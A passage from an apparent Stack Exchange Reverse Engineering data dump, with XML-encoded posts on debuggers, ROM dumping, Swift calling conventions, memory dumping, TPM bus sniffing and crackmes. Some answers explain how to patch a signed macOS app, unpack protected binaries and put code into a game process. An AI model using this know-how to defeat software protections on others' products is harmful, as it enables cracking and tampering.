desc in rt_svc_desc:&#xA;        offset = desc[3] - base_addr&#xA;        if offset &amp;lt; 0:&#xA;            sys.exit(0)&#xA;        name_len = strlen(sboot_data[offset:])&#xA;        if not name_len:&#xA;            break&#xA;        names.append(sboot_data[offset:offset+name_len])&#xA;    if len(names) == RT_SVC_DESC_ENTRIES:&#xA;        print(&amp;quot;[!] w00t!!! base address is %08x&amp;quot; % base_addr)&#xA;        print(&amp;quot;    found names: %s&amp;quot; % &amp;quot;, &amp;quot;.join(names))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="10120" LastEditDate="2021-07-27T23:39:40.833" LastActivityDate="2021-07-27T23:39:40.833" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15711" PostTypeId="2" ParentId="15709" CreationDate="2017-06-28T21:48:47.363" Score="0" Body="&lt;p&gt;Well I'm not sure why this is the answer but inside /lib are two directories: ./lib/public and ./lib/private&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply running the command &lt;code&gt;cp -r ./lib/public/* ./lib/private/* ./lib&lt;/code&gt; will allow your binaries to function properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this question will help anyone who comes across my issue in the future as I could not find another instance of this event occurring. If someone has more information why this happens please leave me a comment :)&lt;/p&gt;&#xA;" OwnerUserId="20574" LastEditorUserId="20574" LastEditDate="2017-06-29T00:24:50.613" LastActivityDate="2017-06-29T00:24:50.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15712" PostTypeId="1" AcceptedAnswerId="15719" CreationDate="2017-06-28T22:00:42.033" Score="4" ViewCount="1858" Body="&lt;p&gt;Playing with the debugger x64dbg, I noticed that my application uses multiple threads as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qcWpF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qcWpF.png&quot; alt=&quot;threads&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Among them, one thread is certainly used for the window, as the application is a window application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strange thing is that &lt;strong&gt;the EIP never changes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, moving the window or write in it must change the EIP right? As the thread responsible for the window must run continuously in order to prevent the window from freezing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you explain why the EIP never changes? Is it related to x64dbg?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks !&lt;/p&gt;&#xA;" OwnerUserId="14339" LastActivityDate="2023-04-29T08:08:30.210" Title="Window application - Does the debugger stop the window thread?" Tags="|debugging|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15713" PostTypeId="2" ParentId="15712" CreationDate="2017-06-29T08:29:10.177" Score="2" Body="&lt;p&gt;You can't view all thread's context at the same time. You should switch interested thread. For example now i'll switch from thread 3 to thread 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Windbg you can list all thread in current process with &quot;~&quot;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WINDBG&gt;~&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0  Id: 6c4.4c0 Suspend: 1 Teb: 7ffde000 Unfrozen&#xA;1  Id: 6c4.240 Suspend: 1 Teb: 7ffdd000 Unfrozen&#xA;2  Id: 6c4.9dc Suspend: 1 Teb: 7ffdc000 Unfrozen&#xA;3  Id: 6c4.728 Suspend: 1 Teb: 7ffdb000 Unfrozen&#xA;4  Id: 6c4.b1c Suspend: 1 Teb: 7ffda000 Unfrozen&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use '&gt;~[Thread number]s'&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WINDBG&gt;~2s&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;eax=00000001 ebx=00000001 ecx=773b73a8 edx=26aa5eee esi=00000002 edi=00288800&#xA;eip=77b470b4 esp=0132f9b8 ebp=0132fb18 iopl=0         nv up ei pl nz na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206&#xA;ntdll!KiFastSystemCallRet:&#xA;77b470b4 c3              ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can trace execution of thread 2, set bp and etc.&lt;/p&gt;&#xA;" OwnerUserId="19042" LastEditorUserId="18014" LastEditDate="2017-06-29T08:49:50.810" LastActivityDate="2017-06-29T08:49:50.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15714" PostTypeId="1" AcceptedAnswerId="15718" CreationDate="2017-06-29T09:55:57.300" Score="1" ViewCount="163" Body="&lt;p&gt;I’m not quite sure whether this is the right website to post this on but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to try and dump sequence data from a Casio Keyboard default soundbank&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it’s stored on a ROM chip of some description, but I’m not sure which one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea how this would be done, but I’m interested to learn how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14973" LastActivityDate="2017-06-29T13:29:37.477" Title="Dump Sequence Data from Casio electronic keyboard" Tags="|hardware|dumping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15715" PostTypeId="2" ParentId="15460" CreationDate="2017-06-29T10:25:39.043" Score="0" Body="&lt;p&gt;I had the same issue and was solved using the x64 version. Just download &lt;a href=&quot;http://radare.mikelloc.com/get/1.5.0/radare2-w64-1.5.0.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://radare.mikelloc.com/get/1.5.0/radare2-w64-1.5.0.zip&lt;/a&gt; and give it a try.&lt;/p&gt;&#xA;" OwnerUserId="20733" LastActivityDate="2017-06-29T10:25:39.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15716" PostTypeId="2" ParentId="13918" CreationDate="2017-06-29T11:56:55.807" Score="0" Body="&lt;p&gt;It seems that someone created decompiler and publish some deobfuscated matlab pcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/firstborg/matlab-2017a.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/firstborg/matlab-2017a.git&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author promise to publish deobfuscation technology for donation in BTC.&lt;/p&gt;&#xA;" OwnerUserId="20734" LastActivityDate="2017-06-29T11:56:55.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15717" PostTypeId="1" AcceptedAnswerId="15722" CreationDate="2017-06-29T12:58:27.847" Score="1" ViewCount="1382" Body="&lt;p&gt;I have a signed mac app and I don't have the source code of the app.&#xA;I know address locations of some assembly instructions which I need to change so as to make this app to work in certain way. So I'm trying to write a patcher, which should be able to read the assembly of original mac app and change those addresses and produce new mac app with no signature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This patcher should be a stand alone mac app.&#xA;The patcher should patch the original app and produce the modified one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this? I just need some guidance to write this patcher.   &lt;/p&gt;&#xA;" OwnerUserId="20572" LastEditorUserId="20572" LastEditDate="2017-06-29T17:41:18.890" LastActivityDate="2017-06-29T17:55:39.680" Title="Creating a patcher for a mac app" Tags="|disassembly|assembly|osx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15718" PostTypeId="2" ParentId="15714" CreationDate="2017-06-29T13:29:37.477" Score="2" Body="&lt;h3&gt;First Step: Research&lt;/h3&gt;&#xA;&lt;p&gt;First off just do some research on your product. See if anyone has done any research or reverse engineering on your particular keyboard model. If no one has done any work on it before you will have to venture off on your own.&lt;/p&gt;&#xA;&lt;h3&gt;Second Step: Disassembly&lt;/h3&gt;&#xA;&lt;p&gt;You will probably need to open up the keyboard if the developers didn't include some kind  of external debugging port. When you open the case of the keyboard, take pictures of exactly how you took it apart so you can reassemble it.&lt;/p&gt;&#xA;&lt;h3&gt;Third Step: Debugging Port&lt;/h3&gt;&#xA;&lt;p&gt;Once it's apart you will want to look for some kind of debugging pins or headers. Most of the time this comes in the form of JTAG headers. There is plenty of information on the internet of how to interface with these.&lt;/p&gt;&#xA;&lt;h3&gt;Fourth Step: Being Creative&lt;/h3&gt;&#xA;&lt;p&gt;If you don't believe there is a debugging interface that could become tricky. We know the information is on the circuit board we just need to discover where it is. Look for either some form of flash memory component or a chip with several pins coming out of it. Sometimes manufacturers purposely prevent people from reverse engineering their product. This comes in the form of &lt;a href=&quot;https://electronics.stackexchange.com/questions/9137/what-kind-of-components-are-black-blobs-on-a-pcb&quot;&gt;Glob top&lt;/a&gt; and other nefarious methods.&lt;/p&gt;&#xA;&lt;p&gt;If you want you can post some more information about your keyboard (dissassembly pictures, model number, serial numbers, etc..) and the site can help you out more. Don't get discouraged if all of this feels overwhelming.&lt;/p&gt;&#xA;" OwnerUserId="20574" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-06-29T13:29:37.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15719" PostTypeId="2" ParentId="15712" CreationDate="2017-06-29T15:37:09.000" Score="6" Body="&lt;p&gt;x64dbg's &quot;Threads&quot; page only refreshes once every two seconds, not nearly fast enough to see much going on in threads that are mostly blocked waiting (such as an application's message loop thread). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can verify that the thread is getting time-sliced by watching the &quot;User Time&quot; column. Move your window around for several seconds, and you should cause enough application code to run to see the &quot;User Time&quot; increment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; addressing @Duke Nukem's comment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Active debuggers on Windows rely on an event system, so most of them just sit around and don't do anything until an exception, breakpoint, or user interaction happens. These debuggers (WinDbg, VS, etc) won't show any thread state or anything like that while the target is running (you only get that information when the target is broken into). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where the confusion is coming in for people not familiar with x64dbg. The x64dbg Threads tab isn't tied into the debugging events system, it is just a monitoring tool that periodically scans all the threads in the target (even while it is running) and grabs timing stats and also queries the thread's context in order to display the current instruction pointer.&lt;/p&gt;&#xA;" OwnerUserId="3556" LastEditorUserId="3556" LastEditDate="2017-06-30T22:51:28.593" LastActivityDate="2017-06-30T22:51:28.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15720" PostTypeId="1" CreationDate="2017-06-29T16:02:32.900" Score="1" ViewCount="582" Body="&lt;p&gt;I am new here and I have a question for you guys&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;C++&lt;/strong&gt;)&#xA;I will try to describe my situation with some details so that you can understand this better. This might be long(er) but it might be necessary to explain this to someone who doesn't know how this (scripthook) works&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am playing &lt;strong&gt;GTA 5&lt;/strong&gt; and there's a library file made by unofficial person called &lt;strong&gt;ScriptHookV&lt;/strong&gt;.dll. It's main purpose is to enable modding, it hooks to the game and allows us (modders) to call the game's &lt;strong&gt;native functions&lt;/strong&gt;, such as: &lt;code&gt;VEHICLE::VEHICLE_CREATE&lt;/code&gt;, &#xA;&lt;code&gt;PLAYER::PLAYER_SET_WANTED_LEVEL&lt;/code&gt;, &#xA;and so on. ( full list here: &lt;a href=&quot;http://www.dev-c.com/nativedb/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.dev-c.com/nativedb/&lt;/a&gt; )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this modding works in a way that you download sdk from &#xA;( &lt;a href=&quot;http://www.dev-c.com/gtav/scripthookv/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.dev-c.com/gtav/scripthookv/&lt;/a&gt; ) &#xA;and you can use sdk to make your own mod, it provides those native functions so you can use and compile it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it gets compiled it gets compiled with .asi extension (actually its a dll renamed to asi) and you need to place it in gta 5 main folder and when you launch the game, scripthookv.dll and other file called dsound8.dll will take care of loading that .asi file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as you see what I've described, it works in a way that scripthook file itself loads .asi files into the game and executes their code by itself. And what i'm trying to do is i would like to have my own program from which i can use ScriptHookV.dll 's native functions to manipulate gta 5 singleplayer, but i don't have the source code of that dll.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am wondering what to do now..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; I want to manipulate GTA 5 singleplayer with functions that ScriptHookV.dll provides by using my own program, but I don't have source code of that dll&lt;/p&gt;&#xA;" OwnerUserId="20737" LastEditorUserId="2147" LastEditDate="2017-06-29T18:15:34.923" LastActivityDate="2017-06-29T18:15:34.923" Title="Trying to call DLL's functions from my exe" Tags="|c++|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15722" PostTypeId="2" ParentId="15717" CreationDate="2017-06-29T17:10:16.553" Score="5" Body="&lt;p&gt;There are several aspects for this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if the app is not protected with some sort of packaging&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you just need to find the place that you want to patch with the help of debugger (when the app is running) or static disassembler (otool, hopper disassembler, ida disassembler)&lt;/li&gt;&#xA;&lt;li&gt;understand how many bytes your patch takes (for example with online &lt;a href=&quot;https://defuse.ca/online-x86-assembler.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;tool&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;understand how many space you have in the original app. Every disassembler will show you or use the above tool as well&lt;/li&gt;&#xA;&lt;li&gt;use any hex editor (&lt;a href=&quot;http://ridiculousfish.com/hexfiend/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hex fiend&lt;/a&gt;) to patch the file with the bytes you've got from (1).&lt;/li&gt;&#xA;&lt;li&gt;if there is enough space for the patch, you apply it and the left space fill with &lt;code&gt;nop&lt;/code&gt; instruction&lt;/li&gt;&#xA;&lt;li&gt;if there is not, you will need to find that space by:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;splitting your patch in several parts (there are always caves between functions or at the end of the section)&lt;/li&gt;&#xA;&lt;li&gt;or allocate your own section and fill in your code. In that case, you will also need to edit the file adder to account for a new section.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;if the app is packed or protected in any way from patching, then you can not just patch it on disk just like that. You'll need to unpack it, patch as explained above and repack (or not) back.&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;or you can create runtime patcher in this case, which is more complicated to do. &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To automate the on-disk patching, one can use a pretty easy way which is based on some pattern matching and a little bit of heuristics:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;with the help of disassembler try to find some distinguishable bytes before the patch area &lt;/li&gt;&#xA;&lt;li&gt;do the same for the area after the patch area&lt;/li&gt;&#xA;&lt;li&gt;if appropriate, find the same for the patch itself:&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;for example if there is a control flow change, try to analyze the target of that change for some pattern.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All the above will be sufficient (hopefully) to accommodate version changes and assure that you change at the right place. Such patcher could be easily coded with Python. For disassembling you can use &lt;a href=&quot;http://www.capstone-engine.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Capstone&lt;/a&gt; library which has Python binding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take into account that, you fill make OSX complain about this patched app as it will not be signed any more.&lt;/p&gt;&#xA;" OwnerUserId="2021" LastEditorUserId="2021" LastEditDate="2017-06-29T17:55:39.680" LastActivityDate="2017-06-29T17:55:39.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15723" PostTypeId="2" ParentId="15720" CreationDate="2017-06-29T18:05:25.580" Score="2" Body="&lt;p&gt;First of all, you do not need the source of the &lt;code&gt;ScriptHookV.dll&lt;/code&gt; as SDK provided all the needed API interface functions that you need for the modding (look in &lt;code&gt;inc&lt;/code&gt; dir).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not go deeply into &lt;code&gt;ScriptHookV.dll&lt;/code&gt; design but you will not be able to manipulate the game externally without having presence (DLL, shell code) inside its address space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, you would need some sort of Client/Server implementation:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Server will be the &lt;code&gt;asi&lt;/code&gt; file or any other dll which must be in game's address space and open for example some Pipe server.&lt;/li&gt;&#xA;&lt;li&gt;Client side will be you application, connected to the created pipe. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In this way you will either need to implement your own scripting language or protocol for client/server communication or pass through the pipe precompiled script for the server to execute in context of the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From your comments, to do it from the outside app look like over-engineering and not really stable. &lt;/p&gt;&#xA;" OwnerUserId="2021" LastActivityDate="2017-06-29T18:05:25.580" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="15724" PostTypeId="2" ParentId="15694" CreationDate="2017-06-30T09:35:30.020" Score="2" Body="&lt;p&gt;Use the &lt;code&gt;-net&lt;/code&gt; argument &lt;code&gt;-net nic,model=rtl8139&lt;/code&gt;. Of course replace &lt;code&gt;rtl8139&lt;/code&gt; with your network device model (e1000, i82551, i82557b, ...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further explanations are found on this &lt;a href=&quot;https://en.wikibooks.org/wiki/QEMU/Devices/Network&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki Documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20701" LastActivityDate="2017-06-30T09:35:30.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15725" PostTypeId="1" CreationDate="2017-06-30T10:04:17.833" Score="3" ViewCount="1477" Body="&lt;p&gt;I have earlier been able to call Swift methods using a function pointer from C, and providing the appropriate arguments because the calling convention was the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately this no longer works. This is because Swift has added a &quot;call context&quot; argument that is passed in a separate register (r13) from the normal arguments. For regular method calls, this context is a pointer to self. See here for more info: &lt;a href=&quot;https://github.com/apple/swift/blob/master/docs/ABIStabilityManifesto.md#calling-convention&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/apple/swift/blob/master/docs/ABIStabilityManifesto.md#calling-convention&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in order to call these methods, I need to be able to reliably set r13 to the appropriate value from C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this in clang/llvm?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not find a way to declare a register variable to a specific register (gcc syntax for that does not work). So I have code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void (*my_fp)(void *) = find_pointer();&#xA;void *instance = find_instance();&#xA;void *arg1 = whatever();&#xA;asm {&#xA;    mov r13, [instance]&#xA;}&#xA;my_fp(arg1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It might or might not work - sometimes the compiler clobbers r13 immediately by using it for the function pointer. Also I guess it's not particularly safe to just write to that register without the compiler's consent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reliable way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(By the way, I am not able to include the Swift runtime in my code, so I must be able to call from C.)&lt;/p&gt;&#xA;" OwnerUserId="1692" LastActivityDate="2024-03-12T20:07:15.800" Title="Calling Swift 4 methods from C" Tags="|c|osx|llvm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15727" PostTypeId="1" CreationDate="2017-06-30T15:37:18.170" Score="2" ViewCount="183" Body="&lt;p&gt;I know that both &lt;code&gt;pdf @ func&lt;/code&gt; and &lt;code&gt;pdr @ func&lt;/code&gt; disassemble the function, the first using linear and the second recursive traversal disassembly. &lt;code&gt;VV @ func&lt;/code&gt; shows the disassembled function in visual mode, but it seems it uses linear sweep. Can I use recursive traversal and see the output in visual mode?&lt;/p&gt;&#xA;" OwnerUserId="13970" LastActivityDate="2017-06-30T15:37:18.170" Title="Radare2 - recursive traversal visual mode" Tags="|disassembly|radare2|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15728" PostTypeId="1" AcceptedAnswerId="15734" CreationDate="2017-06-30T20:14:56.960" Score="1" ViewCount="1041" Body="&lt;p&gt;Is there a way to dump a section of process memory knowing the start and end address to raw bin file via a winapi function or some other method? I know that you can do this easily with a debugger, but that's not what I'm looking for.&lt;/p&gt;&#xA;" OwnerUserId="20747" LastActivityDate="2017-07-01T19:01:05.600" Title="Dumping Memory to Raw File" Tags="|winapi|dumping|memory-dump|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15731" PostTypeId="1" AcceptedAnswerId="16415" CreationDate="2017-07-01T05:10:47.723" Score="1" ViewCount="537" Body="&lt;p&gt;As you may know, the TPM (Trusted Platform Module), which resides on the LPC bus, allows the storage and retrieval of encryption keys and certificates securely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within this Trusted Computing concept, however, is it &lt;em&gt;actually&lt;/em&gt; secure? (Base-line question, please keep reading)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found that TPM 1.1 transmits encryption keys and certificates over the LPC bus in plain text. (1)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this true for recent versions of TPMs (1.2, 2.0)? If not, how is it that they've mitigated this issue? I see no way for this to be feasibly fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: &quot;The authors (Schellekens et al.) of [an LPC MITM attack with a TPM] passively analyzed the communication of version 1.1 TPMs with the remaining platform and observed that certain operations like unsealing used to transmit TPM protected secrets in plain over the LPC bus.&quot; ~ A Hijacker’s Guide to the LPC Bus, page 186&lt;/p&gt;&#xA;" OwnerUserId="20698" LastActivityDate="2017-09-26T13:12:58.007" Title="Do TPMs Send Stored Keys in Plaintext?" Tags="|encryption|physical-attacks|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15732" PostTypeId="1" AcceptedAnswerId="15743" CreationDate="2017-07-01T06:04:46.370" Score="1" ViewCount="177" Body="&lt;p&gt;I'm new to using x32/64dbg and I have an EXE with PDB symbols and want to disassemble and debug an unmanaged function call. It's from an x86 .NET 2.0 DLL where the unmanaged code sits compiled inside the EXE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked up the internal call that I want to debug in the symbols, and set up breakpoints on the entry and exit of the function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function takes a set of 3 32-bit floats in the .NET DLL method call as inputs through an internal call that runs some calculations and then outputs a set of 4 32-bit floats back to .NET. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function basically does a few sin/cos/atan2 calls on the parameters, along with some other math that I want to review for accuracy. Is there a way to read the parameter values as floats? I couldn't seem to find this in the docs anywhere. Basically I just need to get the values of the inputs and outputs to the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the lack of finding a method I tried to whip up a quick app to input 4 bytes as hex and output the sign/exponent/significand based on some docs here (&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/system.single(v=vs.110).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://msdn.microsoft.com/en-us/library/system.single(v=vs.110).aspx&lt;/a&gt;) but my results aren't matching up with the app's input, I'm sure I'm not doing something right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembly of the function looks like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp,esp&#xA;mov eax,dword ptr ss:[ebp+8]&#xA;sub esp,10&#xA;push 4&#xA;push eax&#xA;lea ecx,dword ptr ss:[ebp-10]&#xA;push ecx&#xA;call &amp;lt;testapp.ConversionFunction&amp;gt;&#xA;movq xmm0,qword ptr ds:[eax]&#xA;mov ecx,dword ptr ss:[ebp+C]&#xA;movq dword ptr ds:[ecx],xmm0&#xA;movq xmm0,qword ptr ds:[eax+8]&#xA;add esp,C&#xA;movq qword ptr ds:[ecx+8],xmm0&#xA;mov esp,ebp&#xA;pop ebp&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20730" LastActivityDate="2017-07-01T21:56:51.073" Title="Viewing 32-bit floats in Internal Call disassembly from .NET 2.0 DLL in x64dbg" Tags="|disassembly|float|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15734" PostTypeId="2" ParentId="15728" CreationDate="2017-07-01T07:02:35.713" Score="1" Body="&lt;p&gt;I have recently made an API in python to read and write memory - could be useful for a quick solution.&#xA;&lt;a href=&quot;https://github.com/samsonpianofingers/pymem&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/samsonpianofingers/pymem&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you could use this like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import pymem&#xA;&#xA;handle = pymem.open_process_name(&quot;program.exe&quot;)&#xA;address = 0x12c0000&#xA;size = 1000&#xA;buffer = pymem.read_bytes(handle, address, size)&#xA;with open(&quot;dump.bin&quot;, &quot;wb&quot;) as f:&#xA;    f.write(buffer)&#xA;    f.flush()&#xA;    f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19064" LastActivityDate="2017-07-01T07:02:35.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15735" PostTypeId="1" CreationDate="2017-07-01T08:35:15.057" Score="3" ViewCount="2148" Body="&lt;p&gt;&lt;em&gt;I'm a beginner at reverse engineering so any help would be appreciated. I apologise if a similar question has already been asked or if this is a dumb question, but I couldn't find anything.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using x32dbg, and ollydbg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to decrypt packets sent out from the game. I began by finding Winsock's SEND function. I sent messages in the games inbuilt chat functionality to send off packets, and traced my way backwards trying to find a point where the packet wasn't encrypted. I found myself in the ntdll.dll import. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting a breakpoint inside ntdll.dll, but the debugger instantly pauses on the breakpoint before I can send a packet. I try to press &quot;run&quot;, but it just pauses itself again instantly. I am unsure if that means that ntdll.dll is being used all the time, or if it has anti-debugger.. or if i'm just doing things completely wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way for me to only break on SEND packets? Any advice for this situation would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="20760" LastActivityDate="2017-09-12T19:44:25.427" Title="Debugger always paused in ntdll" Tags="|windows|ollydbg|debugging|x86|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15736" PostTypeId="1" CreationDate="2017-07-01T14:54:27.250" Score="1" ViewCount="3663" Body="&lt;p&gt;I am a beginner and I am doing a few crackme stuff, I'm pretty okay when it comes to system calls such as user32.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is one crackme which uses &lt;code&gt;msvbvm50.dll&lt;/code&gt; (Visual Basic)&#xA;and it has weird calls, I just cannot find information about it.&#xA;I tried API monitoring, but I cannot locate the field which is taking the input from the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to disassemble using a VB decompiler, I see similar assembly to which I saw in Immunity debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this crackme challenge, I need to find the function which is taking my input further in the memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that? Any ideas how I should proceed?&lt;/p&gt;&#xA;" OwnerUserId="20763" LastEditorUserId="-1" LastEditDate="2017-07-02T00:36:24.327" LastActivityDate="2017-07-02T13:09:41.613" Title="Reverse Engineering visual basics programs" Tags="|disassembly|dll|visual-basic|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
